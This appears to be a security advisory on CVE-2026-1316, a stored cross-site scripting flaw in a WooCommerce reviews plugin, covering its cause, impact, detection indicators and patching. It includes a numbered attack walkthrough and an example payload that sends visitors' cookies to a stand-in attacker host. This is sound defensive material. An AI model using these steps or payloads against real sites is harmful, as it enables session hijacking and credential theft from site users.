CVE-2026-1316: 
WordPress vulnerability analysis and mitigation

CVE-2026-1316 is a Stored Cross-Site Scripting (XSS) vulnerability in the Customer Reviews for WooCommerce WordPress plugin, affecting all versions up to and including 5.97.0. The flaw exists in the media[].href parameter due to insufficient input sanitization and output escaping. When the 'Enable for Guests' setting is active, unauthenticated attackers can inject arbitrary web scripts that execute in the browsers of any user visiting an affected page. It was published on February 12, 2026, with a CVSS v3.1 base score of 7.2 (High) (Feedly, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize the media[].href parameter submitted during review creation and does not escape the stored value on output, allowing attacker-controlled HTML/JavaScript to be persisted in the database and rendered to subsequent visitors. Exploitation requires no authentication when the 'Enable for Guests' option is enabled in the plugin settings, and no user interaction is needed from the attacker's side — the payload executes automatically when any user loads the injected page (Feedly, Wordfence).

Successful exploitation allows an unauthenticated attacker to persistently inject malicious JavaScript into WooCommerce product review pages, which then executes in the browsers of all subsequent visitors, including administrators. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of drive-by malware. Because the scope is changed (S:C in CVSS), the impact extends beyond the plugin itself to the broader WordPress site and its users (Feedly, Red Hat CVE).

The vulnerability has an EPSS score of approximately 0.098%, indicating a relatively low but non-negligible probability of exploitation in the wild. No confirmed in-the-wild exploitation or threat actor attribution has been reported as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the zero-privilege, network-accessible attack vector makes it attractive for opportunistic attackers targeting WordPress sites with guest reviews enabled (Feedly, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Customer Reviews for WooCommerce plugin (version ≤ 5.97.0) with guest reviews enabled, using tools like WPScan or by browsing product pages for the plugin's review submission form.
2. Locate the review submission endpoint: Navigate to a WooCommerce product page that allows guest reviews and locate the review/media submission form or API endpoint that accepts the media[].href parameter.
3. Craft a malicious payload: Prepare a stored XSS payload to inject into the media[].href field, for example: javascript:alert(document.cookie) or an <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> style payload encoded appropriately for the parameter.
4. Submit the malicious review: Submit the review as a guest (no authentication required), embedding the crafted payload in the media[].href parameter via a direct HTTP POST request or through the review form.
5. Payload persistence: The malicious script is stored in the WordPress database without sanitization.
6. Victim execution: Any user (including administrators) who visits the affected product review page triggers the stored script, enabling session hijacking, credential theft, or further attacks (Feedly, Wordfence).

• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading WooCommerce product review pages; unusual POST requests to review submission endpoints containing JavaScript URI schemes or HTML event handlers in media[].href fields.
• Logs: WordPress/web server access logs showing POST requests to review endpoints with encoded or raw XSS payloads (e.g., <script>, onerror=, javascript:) in the media[].href parameter.
• Database: WordPress database entries in the reviews/comments tables containing unsanitized HTML or JavaScript within media href fields.
• Browser/Client: Unexpected redirects, pop-ups, or network requests to third-party domains triggered when visiting WooCommerce product pages with reviews.

Update the Customer Reviews for WooCommerce plugin to version 5.98.0 or later, which addresses the insufficient sanitization and output escaping of the media[].href parameter. As an interim workaround, administrators can disable the 'Enable for Guests' option in the plugin settings to prevent unauthenticated users from submitting reviews, eliminating the unauthenticated attack vector. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence) can help detect and block exploitation attempts (Wordfence, Red Hat CVE).

Wordfence included CVE-2026-1316 in its weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as a notable unauthenticated stored XSS issue (Wordfence). RedPacketSecurity shared the vulnerability on Mastodon, contributing to broader community awareness. The vulnerability was also covered by security aggregators including VulDB, Vulners, and InfinitSec, reflecting standard community tracking of medium-to-high severity WordPress plugin flaws.